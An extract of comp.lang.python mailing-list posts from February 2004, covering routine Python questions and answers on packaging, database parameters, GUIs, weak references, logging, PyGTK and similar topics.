program.  This would be a large program with a GUI interface, too large 
to be put all in one script file by any sane person.  I was wondering 
about how a Python programmer should organize the multiple python source 
files that will be needed by their program.  Is it proper to break the 
program up into modules and put all of the modules in a package even if 
the modules would be of little or no use to others (such as the program 
specific GUI code)?  Would this package then go under Python's 
site-packages directory when the program is installed?  Would 
distribution of a program like this use distutils?

Thank you,
Derek


From missive at frontiernet.net  Wed Feb 18 13:17:49 2004
From: missive at frontiernet.net (Lee Harr)
Date: Wed, 18 Feb 2004 18:17:49 GMT
Subject: psycopg NULL
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
	<QfydnSPKk5FhBq7d4p2dnA@giganews.com>
Message-ID: <slrnc37b2c.1dmr.missive@homer.easthighschool.net>

On 2004-02-18, Ross M Karchner <ross at karchner.com> wrote:
> What is the value of psycopg.paramstyle ?
>
> You probably have to follow the paramstyle format to get the automatic 
> translation between Python None to SQL Null.
>
> http://www.python.org/peps/pep-0249.html
>

A ha!  Thanks for that link...


> If it is 'pyformat' (Like MySQLdb), then this might work:
>
> curs.execute('INSERT INTO foo (i) VALUES (%s)' , None)
> curs.execute('INSERT INTO foo (i) VALUES (%d)' , None)
> curs.execute('INSERT INTO foo (i) VALUES (%i)' , None)
> conn.commit()
>
> note: all I did was replace the %'s with commas
>

That gives a syntax error ... but it is close!


vars = {'i': None, 'x': 2, 'y': 1, 'z': None}
curs.execute('INSERT INTO foo (i) VALUES (%(i)s)', vars)
conn.commit()



With the pyformat paramstyle we need the %(varname)s style.

Thanks for your help.



From rstephens at vectron.com  Sun Feb  1 16:34:56 2004
From: rstephens at vectron.com (Ron Stephens)
Date: 1 Feb 2004 13:34:56 -0800
Subject: Firedrop, New Docs, easy to use python blog software...
References: <a5415304.0401312222.6eba545e@posting.google.com>
	<7xk7375nbo.fsf@ruckus.brouhaha.com>
Message-ID: <a5415304.0402011334.2ceee5f@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:

> Why on earth does this need wxPython?  Why can't it just use a web
> front end?

Hmm, um, well, yes, now that you mention it, I guess it could just use
a web browser as a front end. After all, content produced by Firedrop
is meant to be viewed on the web after all, and if a web browser were
the front end (instead of wxPython) then one could use any device with
a browser (such as my Zaurus PDA, which runs Opera) to produce blog
posts or other content.

So you got me thinking about it, and at the risk of further displaying
my ignorance, I came up with three possible advantages to using
wxPython:

1. Perhaps wxPython offers a bigger set of widgets to work with than
is available using just a browser with html, allowing a better user
experience, during the content creation and management activity (as
opposed to when the content is being viewed on the web). Actually, it
is theoretically possible that one could use the ArticleCollection
aspect of Firedrop for content that is not meant to be viewed on the
web, so that the content might need graphical capabilities beyond
those in web browsers; but I don't think this a major factor.

2. Using wxPython, along with wax, may be just plain easier (and more
enjoyable ) to program with. One of the main goals of the firedrop
project, as I understand it, is to be easy and fun to extend using
Python, wxPython, and wax. Perhaps this combination gives a more
Pythonic overall programming experience than using only Python and a
web browser front end.

3. As a learning exercise, if one wants to improve one's ability to
program in wxPython, extending and adding features to Firedrop may be
worth while beyond its sheer utilitarian value, for which a web
browser front end might be in some ways preferable.

I stand ready to be corrected on any or all of the above speculations.
I am a clueless newbie after all, but your post did prompt me to
think, so I offer my response.

Maybe Hans will weigh in on this subject...

Also, I think Hans has an article on Firedrop (and Kaa, an earlier,
similar project of his using Tkinter instead of wxPython) in an
upcoming issue of Pyzine.

Ron Stephens


From fumanchu at amor.org  Sun Feb 29 15:40:38 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Sun, 29 Feb 2004 12:40:38 -0800
Subject: Getting Python/IIS/ASP to work
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561E0B@opus.amorhq.net>

Geoffrey wrote:
> I have been struggling to get python to work as the scripting language
> for ASP and I am wondering of there is something special I need to do
> to IIS.
> 
> I have created a simple test script as follows;
> <%@ Language = Python %>
> <%
>   Response.Write("Python lives in the ASP delimeters!")
> %>
> <HTML>
> <head></head>
> <body>
> <h1>My Python Test</h1>
> </body>
> </html>
> 
> needless to say all I get is the <h1> header test "My Python" so IIS
> will serve the page and render the HTML correctly, however, the ASP
> tags are still visible in the renders page and none of the
> instructions are carried out.
> 
> I have followed several of the instructions I found on the net,
> installed the Activex component for python, including the security
> patch and all of which seems to be working OK.
> 
> IS there something I need to do to setup IIS to start interpreting the
> ASP information correctly ??

Hard to diagnose without more info, but rather than draw this out into a
lengthy Q&A, I'll just tell you my (working) config on Win2k Pro:

Permission: Read
Execute Permission: Scripts only
App Protection: Medium (Pooled)
Configuration:
	App Options
		Default ASP Language: Python

On that folder, I have ".htm" mapped to use asp.dll, because I'm not
currently developing any apps that mix .htm and .asp.

HTH. Feel free to ask more questions.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From sarmin_kho at yahoo.com  Thu Feb 26 06:47:31 2004
From: sarmin_kho at yahoo.com (sarmin)
Date: Thu, 26 Feb 2004 11:47:31 -0000
Subject: Asterisk sign in python
Message-ID: <c1kmcj+87da@eGroups.com>

Hi Pythoners...

It seems to me the Asterisk (*) sign in python means many things...

if a python code line looks like this:
def__init__(self, func, *param):
  bla bla bla...

and then u have something like this:
func(*param)

and then something like this:
def Wrapper(select, func, param):
   bla bla bla...

I took this section of code from the 'Python Cookbook' textbook page 
223 about 'Running Functions in the future'...

I just cant figure out what is the asterisk (*) sign for and what is 
the different between *param and param??

Many thanks Pythoners...

Regards
sarmin




From bignose-hates-spam at and-benfinney-does-too.id.au  Thu Feb  5 01:14:24 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 5 Feb 2004 17:04:24 +1050
Subject: Qt/PyQt license confusion
References: <30260531.0402040954.68209983@posting.google.com>
	<bvrn55$29m$1@news.service.uci.edu>
Message-ID: <slrnc23ovg.mc2.bignose-hates-spam@iris.polar.local>

On Wed, 04 Feb 2004 13:08:44 -0800, Josiah Carlson wrote:
> If you modify a piece of GPL'd software and distribute it, you must 
> distribute the source of the modified GPL'd software.
> 
> If you /use/ a piece of GPL'd software to create 'something else', and 
> the 'something else' gets distributed, you have used the GPL'd software 
> as a tool - and are /not required/ to license your 'something else' with 
> the GPL.

More precisely, you only create a derivative work if your work is based
on the copyrightable part of the original work.  Using a tool (such as a
text editor) that doesn't include parts of itself in the result, is not
creating a derivative work of the tool.

This question is covered in the GPL FAQ at the GNU website:

    <http://www.gnu.org/licenses/gpl-faq.html#CanIUseGPLToolsForNF>

-- 
 \     "I must say that I find television very educational. The minute |
  `\   somebody turns it on, I go to the library and read a book."  -- |
_o__)                                                     Groucho Marx |
Ben Finney <http://bignose.squidly.org/>


From Scott.Daniels at Acm.Org  Mon Feb 16 19:23:43 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 16 Feb 2004 16:23:43 -0800
Subject: overriding method that returns base class object
In-Reply-To: <40315037$0$199$75868355@news.frii.net>
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
Message-ID: <40316850$1@nntp0.pdx.net>

Stuart McGraw wrote:

> Sorry, you are right, I wasn't clear.  I mean B inherits from
> A.  Here is what I am trying to do...
> 
> Class A has a method A.a() that returns an A.  I want a 
> identical class but with an additional property .newprop
> and method .b()  And I want .a() to return a B, not an A.
> 
>   class B (A):
>     def __init__(self, *args, **kwds):
>       A.__init__(self, *args, **kwds)
>       self.newprop = 99
>     def a(self):
>       x = A.a(self)    # x is an A
>       x.__class__ = B
>       return x    # I want x to be a B, i.e have b() and .newprop.
>     def b(self):
>       ...something...
> 
> Yes, I know this is bogus.  But I am not sure what 
> I should be doing. 
Typically, you might want to do something like:

class B(A):
     ...
     def a(self):
         x = self.__class__.__new__(self.__class__,...)
         # __new__ Usually gets no more args here, but

         x.__init__(...)
         # And here is where we do the actual init

         ...

Hope this helps

-Scott David Daniels
Scott.Daniels at Acm.Org


From mwh at python.net  Sat Feb  7 09:14:48 2004
From: mwh at python.net (Michael Hudson)
Date: Sat, 7 Feb 2004 14:14:48 GMT
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <m3n07w43cw.fsf@pc150.maths.bris.ac.uk>
	<3c9n6hdz.fsf@python.net>
Message-ID: <m3isij3rjb.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> >> 	if (somecondition) {
> >> 		PyObject *func;
> >> 		PyObject *meth;
> >> 		PyMethodDef *ml = my_methods;
> >> 
> >> 		for (; ml->ml_name; ++ml) {
> >> 			func = PyCFunction_New(ml, NULL);
> >> 			if (!func)
> >> 				return NULL;
> >> 			meth = PyClassMethod_New(func);
> >
> > How about "meth = PyDescr_NewClassMethod(result, ml);" here?
> >
> 
> Yes, that works.  But it's not in Python 2.2, which is required ;-(

Arghl.  I guess you can just steal the relavent code... wasn't it your
patch in the first place that implemented all this?

Cheers,
mwh

-- 
  $ head -n 2 src/bash/bash-2.04/unwind_prot.c
   /* I can't stand it anymore!  Please can't we just write the
      whole Unix system in lisp or something? */
                                       -- spotted by Rich van der Hoff


From warlock at eskimo.com  Fri Feb 20 04:58:57 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Fri, 20 Feb 2004 01:58:57 -0800
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth>
	<dhkZb.10915$jl.3737@fe2.texas.rr.com>
Message-ID: <1c2hg1-u8n.ln1@grendel.myth>


On Fri, 20 Feb 2004 09:18:01 GMT,
 Paul McGuire <ptmcg at users.sourceforge.net> wrote:
> "Jim Richardson" <warlock at eskimo.com> wrote in message
> news:oqigg1-3nl.ln1 at grendel.myth...
>>
>> I am pulling apart some big apache logs (800-1000MB) for some analysis,
>> and stuffing it into a MySQL database. Most of it goes ok, despite my
>> meager coding abilities. But every so often I run across "borken" bits
>> of data, like user agent strings that include "'/\ and such, although
>> they are escaped by apache in writing the log, they break up my somewhat
>> clunky splits.
>>
> pyparsing examples directory includes an HTTP server log parser.  Using your
> data, there was one minor error where the bytesSent field in the first line
> was just a dash instead of an integer.  After correcting that, I ran it
> against your test lines and got this output:
>
> fields.numBytesSent = -
> fields.timestamp = ['16/Feb/2004:04:09:49', '-0800']
> fields.clientSfw = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
> fields.referrer =
> http://www.foobarp.org/theme_detail.php?type=vs&cat=0&mid=27512
> fields.cmd = ['GET', '/ads/redirectads/336x280redirect.htm', 'HTTP/1.1']
> fields.ipAddr = 111.111.111.11
> fields.statusCode = 304
>
> fields.numBytesSent = 541
> fields.timestamp = ['16/Feb/2004:10:35:12', '-0800']
> fields.clientSfw = Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera
> 7.20  [ru
> fields.referrer = http://11.11.111.11/adframe.php?n=ad1f311a&what=zone:56
> fields.cmd = ['GET', '/ads/redirectads/468x60redirect.htm', 'HTTP/1.1']
> fields.ipAddr = 11.111.11.111
> fields.statusCode = 200
>
> Download pyparsing at http://pyparsing.sourceforge.net.
>
> Here's the change you'll have to make to the example:
>
> Change:
>                        integer.setResultsName("statusCode") +
>                        integer.setResultsName("numBytesSent")  +
> to:
>                        (integer | "-").setResultsName("statusCode") +
>                        (integer | "-").setResultsName("numBytesSent")  +
>
> -- Paul
>
>

now *this* looks interesting. Thanks a lot!

-- 
Jim Richardson     http://www.eskimo.com/~warlock
" ... a language is just an dialect with an army and a navy."
                                -- Paul Tomblin, in a.s.r.


From python at t011.com  Wed Feb  4 23:41:55 2004
From: python at t011.com (jt)
Date: Wed, 04 Feb 2004 21:41:55 -0700
Subject: larger seeds for Mersenne
Message-ID: <1075956115.12166.13.camel@zen.t011.com>

I'm trying to learn how to use a seed for the random module that is
larger than the integer produced by python's built-in hash(x) function. 
>From the documentation, it says:

"If x is not None or an int or long, hash(x) is used instead. If x is an
int or long, x is used directly."

So if I through something other than an int or long, it gets hashed down
to an int.  Which is what, 10 bytes or so?  So it seems like it would be
preferable to use something like md5 or sha to hash because then I'd get
16 or 20 bytes for the seed.  But the problem is that md5 and sha don't
hash to a long.  They include lots of other printable and nonprintable
characters.

Does anyone know of a hashing algorithm that hashes to a long that's
16-20+ bytes long?  Thanks for any help.

jt



From python at rcn.com  Tue Feb 17 02:13:22 2004
From: python at rcn.com (Raymond Hettinger)
Date: 16 Feb 2004 23:13:22 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
Message-ID: <5d83790c.0402162313.e2537d5@posting.google.com>

[Wayne Folta]
> Two observations about PEP-315:
. . .
 
> In a neater way? How about, instead, creating an "until" loop:
> 
> until line == "\n":
>      line = sys.stdin.readline()
> 
> Would be defined to work exactly like a while loop except the test is 
> not evaluated the first time through the loop. Wouldn't this be akin to 
> checking at the end of the loop, while maintaining a more while-ish 
> syntax?

While it works, or should I say "until it doesn't work", there are two
issues.  First, this is not the usual meaning of "until" in other
languages where the semantics is like "while" with the condition
inverted.  Second, it is much more clear to put the condition at the
point in the program that it gets evaluated (at the end of the loop,
not the beginning).


Raymond Hettinger


From deets_noospaam at web.de  Mon Feb  2 15:08:10 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Mon, 02 Feb 2004 21:08:10 +0100
Subject: How do I overload 'equals'?
References: <692feddd.0402020252.7c1abcb@posting.google.com>	<bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
	<mailman.1121.1075723615.12720.python-list@python.org>
	<692feddd.0402021057.6ddbc5f4@posting.google.com>
Message-ID: <bvmanb$2o7$05$1@news.t-online.com>

> aHouse = makeAhouse()
> aHouse superAssign myHouse # use the superAssign operator
> 
> to fill aHouse with all the objects inside myHouse
> and then call an arbitray method:
> myHouse.log('aHouse has a copy of your stuff')
> 
> Is this possible?

First of all, write the operator as simple function with two arguments, your
aHouse and myHouse:

def init_house(aHouse, myHouse):
  aHouse.inhabitants = myHouse.inhabintants
  ....

Now if you actually have different functions, depending on the actual types
you use, you could go for multimethod-dispatch and create a HouseAssigner
like this:

class HouseAssigner(multimethods.Dispatch):
    def __init__(self):
        multimethods.Dispatch.__init__(_)
        _.add_rule((AHouse, MyHouse), _.init_house)

I assumed that aHouse is of tpye AHouse, and myHouse of MyHouse

Now you can create an instance of HouseAssigner and use that to perform the
actual assignment:

ha = HousAssigner()
ha(aHouse, myHouse)

Now for the operator-stuff: My c++-skills are somewhat rusted (something I'm
not sure if to be glad of or not), so I don't remember how to exactly
declare a custom assignment-operator. 

However, I think that you are after a thing here that I personally would
consider as bad style: Usually, polymorphism is used to write code that is
not interested in details of some actual object, but works on abstract
concepts. An example would be a ParkController working on Car-objects, but
you feed it with Porsche, Mercedes and BMW-objects (which inherit from Car,
of course). Still the actual car knows about its unique features.

Introducing an assignment operator like you want it to have now acutally
performs willingly a slicing-operation - the object forgots something about
what its capable/consisting of. I don't see any reason for that - it might
even lead to severe problems, as accidential slicing in c++ does.

So - maybe you could fill in what actual use-case you have for such a
behaviour.

Another thing to mention might be that assignment in python is different
from assignment in C/C++: 

c = Car()

only means that the identifier c now points to an instance of Car - not that
c is of type car. So in the next line, you could say:

c = 10

Others have explained that behaviour better, you might find informations in
the documentation.

Regards,

Diez



From afriere at yahoo.co.uk  Wed Feb 25 19:53:27 2004
From: afriere at yahoo.co.uk (Asun Friere)
Date: 25 Feb 2004 16:53:27 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.62.1077653810.8594.python-list@python.org>
	<wzwu6b4b0k.fsf@ordesa.cs.uu.nl>
Message-ID: <38ec68a6.0402251653.66ab16a9@posting.google.com>

Piet van Oostrum <piet at cs.uu.nl> wrote in message news:<wzwu6b4b0k.fsf at ordesa.cs.uu.nl>...
> >>>>> Ken Godee <ken at perfect-image.com> (KG) wrote:

> The point is that "Windows" isn't a trademark, or at least shouldn't be
> because it's too generic. "MS Windows" or "Microsoft Windows", OK.
> The same was the case with DOS: many people called MS-DOS just "DOS",
> although there were other DOSses around.
> 
> I think they shouldn't be allowed to hijack the name "Windows". And neither
> "Word" or "Office" for that matter.

I think you misuderstand the concept of 'genericity' as it applies to
trademark law (though I should stress I don't have my law degree from
a US institution, so there might be some differences there).  Perhaps
I'm misreading you, but you seem to imply that because a word is in
common use it cannot function as a trademark.  This is not so.

Generally a trademark must be (in the terminology of my jurisdicition)
'sufficiently adapted to distinguish' the product from other products
in its class.  The test is whether other vendors of that product would
want to use that term in regard to that product.  Eg if you are
selling fish the term 'ocean' wouldn't be sufficiently adapted to
distinguish, but the term 'door' might be (ie you shouldn't be able to
trademark 'Ocean Fish(tm),'  but 'Door Fish(tm)' should be fine.)
Similarly you /shouldn't/ be able to trademark 'Digital Computers(tm)'
(Aha!), but 'Gateway Computers(tm)' would seem to be OK.  It is
arguable that 'Windows' is sufficiently adapted to distinguish one
operating system from another, certainly it is far better than 'Disk
Operating System,' sans the 'MS-.'

Additionally you have to consider the special protection afforded to
'well known brands' under the IP annexes to the WTO treaty, which will
work very nicely in M$'s favour.

A trademark becomes 'generic' on the other hand, when a trademark
enters into the language to such an extent that it cannot function as
a trademark any longer. Arguable the word 'Hoover' (verb and noun),
for vacuum cleaner, or vacuuming, in the UK, has become generic. 
Meaning that theoretically (I wouldn't try it), any manufacturery
could produce a 'hoover.'  The fear of genericity explains why Xerox
launched a big campaign to introduce the word 'photocopying' (instead
of 'xeroxing'), and indeed this gem from Adobe:
http://www.adobe.com/misc/trade.html#photoshop


From no.mail at no.mail.it  Wed Feb 11 19:56:22 2004
From: no.mail at no.mail.it (robsom)
Date: Thu, 12 Feb 2004 00:56:22 +0000 (UTC)
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>	<m3ad3usiop.fsf@hamster.pflaesterer.de>	<pan.2004.02.08.14.03.15.475979@no.mail.it>	<m365ehplku.fsf@hamster.pflaesterer.de>	<pan.2004.02.10.01.05.20.183909@no.mail.it>	<m31xp2kh2c.fsf@hamster.pflaesterer.de>	<pan.2004.02.11.00.00.36.241758@no.mail.it>	<slrnc2j091.14m.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <pan.2004.02.12.00.57.12.216271@no.mail.it>


> On Wed, 11 Feb 2004 00:44:18 +0000 (UTC), robsom wrote:
>> I'm beginning to appreciate Python even though at first I hated this
>> indentation thing
> 
> Yup.  Just because something seems limiting doesn't mean it is.

Right, I'm just saying that I was used to indent when I wanted and what I
wanted and that I missed the "closing instruction"
But, to be fair, I've adapted much faster than I thought. Just a matter of
getting used to it. 

> The "for index in range( size )" is mostly recommended as a way to loop
> over a list; range( size ) will elegantly generate a sequence of indices
> into a list of size "size".
> 
> What is it you don't like?

well, I just think that a kind of sintax like: for i=x to y
is much more intuitive and easy to use. It caused me a lot of errors,
particularly in the beginning because I wasn't getting the values I
wanted for the index. Again is probably just a matter of getting used to
it.

> Because somewhere earlier in that code you must have imported the name
> 'split' into the base namespace.  It's not there to begin with (and
> importing it is needlessly polluting the base namespace).
> They're two different functions.  One is a method of string objects, one
> is a function you've imported from somewhere.  (This confusion is partly
> why importing symbols into the base namespace is a bad idea.)

in fact there is an import string * instruction at the beginning.
ok, so you suggest using the method because it results in a faster code?
thanks

R



From Domoran at yahoo.de  Wed Feb 25 12:36:59 2004
From: Domoran at yahoo.de (Mathias Mamsch)
Date: Wed, 25 Feb 2004 18:36:59 +0100
Subject: weakref confusion
Message-ID: <c1imfp$q3s$1@graf.cs.uni-magdeburg.de>

Hi,

I have some confusion concerning the weakref module.
I am trying to save a weak reference to a bound  member function of a class
instance for using it as a callback function. But I always get dead
references, when I try to create a reference to a bound member function. It
seems as if an instance of a class owns no reference to its memberfunctions,
so the the reference count is always zero. How can I come behind that?


If I do:
----------------
import weakref

class A:
    def Test(data): print data

def MyTest (data): print data
AInst = A()

x = weakref.ref (AInst.Test)   # x is a dead reference
y = weakref.ref (MyTest) # y is a working reference
f = AInst.Test
z = weakref.ref(f)        # z works ...
del f                            # now z dies ....
----------------




From pwatson at redlinec.com  Sun Feb  1 10:30:13 2004
From: pwatson at redlinec.com (Paul Watson)
Date: Sun, 1 Feb 2004 09:30:13 -0600
Subject: Changing case in hex output
Message-ID: <401d1b87$1_1@themost.net>

Why does the case of the hex output change between short and long values?

Python 2.1 (#1, May 23 2003, 11:43:56) [C] on aix4
Type "copyright", "credits" or "license" for more information.
>>> print hex(170)
0xaa
>>> print hex(170L)
0xAAL


Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)] on
win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print hex(170)
0xaa
>>> print hex(170L)
0xAAL




From theller at python.net  Mon Feb  9 05:51:53 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 09 Feb 2004 11:51:53 +0100
Subject: Defining *class* methods on C code
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <8yjg6whn.fsf@python.net>
	<mailman.1320.1076112921.12720.python-list@python.org>
Message-ID: <llncttiu.fsf@python.net>

Andrew MacIntyre <andymac at bullseye.apana.org.au> writes:

> On Fri, 6 Feb 2004, Thomas Heller wrote:
>
>> I have to call PyDescr_NewClassMethodType:
>
> File a doc bug?  I can't find this in the 2.3.3 docs at all...

I've checked it in directly, but only the function prototype.

Thomas


From jdhunter at ace.bsd.uchicago.edu  Sun Feb 29 21:16:09 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Sun, 29 Feb 2004 20:16:09 -0600
Subject: Installing pyGTK on windows
In-Reply-To: <56f42e53.0402291707.3d089c64@posting.google.com>
	(sebb@linuxcult.com's message of "29 Feb 2004 17:07:25 -0800")
References: <56f42e53.0402291707.3d089c64@posting.google.com>
Message-ID: <m2vflp71na.fsf@mother.paradise.lost>

>>>>> "sebb" == sebb  <sebb at linuxcult.com> writes:

    sebb> I just want to know how to install pyGTK on windows.  Thanks

Then I suspect you will be interested in the pygtk FAQ entry 

"How do I get pygtk2 running on win32 (quickstart)"

http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq21.012.htp

JDH




From tweedgeezer at hotmail.com  Tue Feb  3 15:37:30 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 3 Feb 2004 12:37:30 -0800
Subject: More verbose traceback
References: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
	<m3fzdsbbeo.fsf@pc150.maths.bris.ac.uk>
Message-ID: <698f09f8.0402031237.56f122dc@posting.google.com>

Michael Hudson <mwh at python.net> wrote in message news:<m3fzdsbbeo.fsf at pc150.maths.bris.ac.uk>... 
> I believe there's a patch on SF (to cgitb) that does this.
> 
> Cheers,
> mwh

I'm pretty sure this was integrated into 2.3; cgitb has a text function, at least.

Jeremy


From skchim0 at engr.uky.edu  Thu Feb 19 05:11:12 2004
From: skchim0 at engr.uky.edu (satish)
Date: Thu, 19 Feb 2004 10:11:12 +0000
Subject: Reading file error
Message-ID: <200402191011.12167.skchim0@engr.uky.edu>

Hi all,

 I am writing a file by name "input" out,  with a small python code below:
 
        grid=open('input','w')
        grid.write(' ')
        grid.write('/*number_of_zone\n')
        grid.write(' ')
        grid.write('2\n')
        grid.write(' ')
        grid.write('/*zone_number 1\n')
        grid.write(' ')
        grid.write('quadratic 50 25 6 2\n')
       
Upon execution, I get the file "input" whose contents are as per below:

 /*number_of_zone
 2
 /*zone_number 1
 quadratic 50 25 6 2
 

Now, when I tried to read this through my fortran code I get the following 
errors:

/*zone_number 1

 Input/Output Error 153: Input file ended

   In Procedure: in_and_out..read_input
        At Line: 4472

      Statement: List-Directed READ
           Unit: 10
   Connected To: Work File
           Form: Formatted (contains List-Directed records)
         Access: Sequential
Records Read   : 2
Records Written: 2

End of diagnostics
 

	Outline of fortran code:

SUBROUTINE read_input()
OPEN (15, FILE='input')       
READ .....
......
CLOSE(15)
END SUBROUTINE read_input

Some part of the error is related to some "scratch file" with unit=10 that the 
fortran code is generating, which, I don't want to pay attention to.

My main problem is that when I generate "input" without python and simply 
write everything by opening the file manually in my editor and then execute 
it with the same fortran code, I don't get any such strange errors and it 
works perfectly fine. I am therefore, wondering if this has got to do 
anything with python. 


Can someone help ??


Thanks in advance


Best Regards,
Satish Kumar Chimakurthi


-- 
SATISH KUMAR CHIMAKURTHI
Graduate Research Assistant
CFD GROUP
UNIVERSITY OF KENTUCKY
LEXINGTON
KENTUCKY - 40508
Email: skchim0 at engr.uky.edu
Mobile: 859-420-9890



From cnoviello at hotmail.com  Thu Feb  5 16:32:01 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 21:32:01 +0000 (UTC)
Subject: how to run a python file with another file as an argument!
References: <ea69a371.0402051328.24de727a@posting.google.com>
Message-ID: <6a0d9a998cc1e84ea75adae450462855.46955@mygate.mailgate.org>

"se7en" <binary101010 at yahoo.com> wrote in message
news:ea69a371.0402051328.24de727a at posting.google.com

> okay,
> 
> i cant seem to run a file with another file as an argument.
> 
> e.g I want to send the file "x.met" as an argument when  running the file "y.py"
> 
> thanx
> -python newbie-


Maybe you are looking for 'sys.argv' list?


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From martin-a at uscity.net  Sun Feb  8 13:19:34 2004
From: martin-a at uscity.net (Martin Andersson)
Date: 8 Feb 2004 10:19:34 -0800
Subject: PyGTK: Where is GtkTreeRowReference?
Message-ID: <12e27689.0402081019.240e487d@posting.google.com>

Hi.

Im currently working on a Python GTK2 app which uses a TreeView (data
contained in a ListStore). As I am utilizing the drag-to-reorder
feature of the  TreeView I needed some way to keep track of the
current active item (not selected, think playlist in som sort of media
player). I then read a very good GTK 2 Tree View tutorial
(http://scentric.net/tutorial/), written for C. He speaks of the
GtkTreeRowReference object which seem to be exactly what i want. But
here commes the problem: I can't find it in PyGTK.

Doesn't it exist in GTK for Python?
if so, why?
How am i supposed to implement this feature without this object?

I'd love som help with this. thanks
// Martin Andersson


From vinay_sajip at yahoo.co.uk  Mon Feb 23 19:30:44 2004
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: 23 Feb 2004 16:30:44 -0800
Subject: [logging] problems in Python 2.3
References: <c15rkc$2ea5$1@ns.felk.cvut.cz>
Message-ID: <2e37dc1.0402231630.425ad3f2@posting.google.com>

Frantisek Fuka <fuka at fuxoft.cz> wrote in message news:<c15rkc$2ea5$1 at ns.felk.cvut.cz>...
> I am using the standard "logging" module included with Python and it 
> seems it doesn't correctly identify the filename (and thus module name) 
> from where the logging method was called. In fact, no matter from which 
> module I call the logging method, the resulting log says that the 
> filename of the caller is:
> 
> \tmp\python.2664\usr\lib\python2.3\logging\__init__.py
> 
> (this seems to me like a reference to the logging module itself combined 
> with some sort of weird temporary storage)
> 
> This happens on my Windows98 machine both under Cygwin and under Windows 
> Python (both of them 2.3). When I try the exact same script on the Linux 
> server with Python 2.2 installed, it displays the filenames correctly.

Strange that it happens the same under Windows. Why would it be
looking for a Unix-like path such as the one you describe under
Windows, when not using cygwin?

Are you using "import logging" rather than "from logging import *" in
your script?


From jcarlson at nospam.uci.edu  Sun Feb 22 03:41:35 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 22 Feb 2004 00:41:35 -0800
Subject: list of class instances within a list of a class instances
In-Reply-To: <mailman.155.1077429606.27104.python-list@python.org>
References: <mailman.155.1077429606.27104.python-list@python.org>
Message-ID: <c19q4q$h24$1@news.service.uci.edu>

> class primaryClass:
>     name=""
>     sClasses = []
> 
>     def __init__(self,name):
>         self.name = name
>         self.sClasses.append(subClass("default")) 

Try the below instead.

class primaryClass:
     def __init__(self,name):
         self.name = name
         self.sClasses = [subClass("default")]

In general, everything defined in the class-level scope is shared among 
all instances of that class, even before creation.  When you re-assign 
'name' in __init__ in your original version, or really anywhere else, 
'name' is no longer referring to the shared 'primaryClass.name' object, 
it is referring to the object assigned.  When you used 
self.sClasses.append(), you were modifying the shared list in-place, 
which is why all instances of primaryClass shared the list.

Also, you don't need to define all class variables (or really any) 
outside in the class-level scope.  It is convenient for some shared 
immutables (strings, integers, tuples, floats, functions) on occasion, 
but unless you know what you are doing with the mutables (lists, 
dictionaries, arrays (from the array module), etc.), you should be careful.

  - Josiah


From gerrit at nl.linux.org  Tue Feb  3 05:18:24 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 3 Feb 2004 11:18:24 +0100
Subject: Variable scope within a class
In-Reply-To: <401f72f4$0$9388$ed9e5944@reading.news.pipex.net>
References: <401f72f4$0$9388$ed9e5944@reading.news.pipex.net>
Message-ID: <20040203101824.GA12103@nl.linux.org>

Hi Graham,

> How do I make a variable available to code *inside* my class in such a way
> that it is available to all defs in the class? In my example below f is not
> accessible within the showVars method.
> 
> class myClass:
>     f = [1,2,3]
> 
>     def showVars ( self ):
>         print f # Error here as f does not exist

Since f is a class variable, it is also an instance variable. You can
either reach it by referring to the class or by referring to the
instance. The former can be done with 'self.__class__.f', the latter by
the simpler 'self.f'. The difference is that, if self.f changes, this is
true for only 1 instance of the class, while all share the same
self.__class__.f.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From noah at noah.org  Fri Feb 13 18:12:11 2004
From: noah at noah.org (Noah)
Date: 13 Feb 2004 15:12:11 -0800
Subject: PIL always raises "unrecognized image mode" exception with
	putdata()
References: <c9d82136.0402091223.1cdbe50c@posting.google.com>
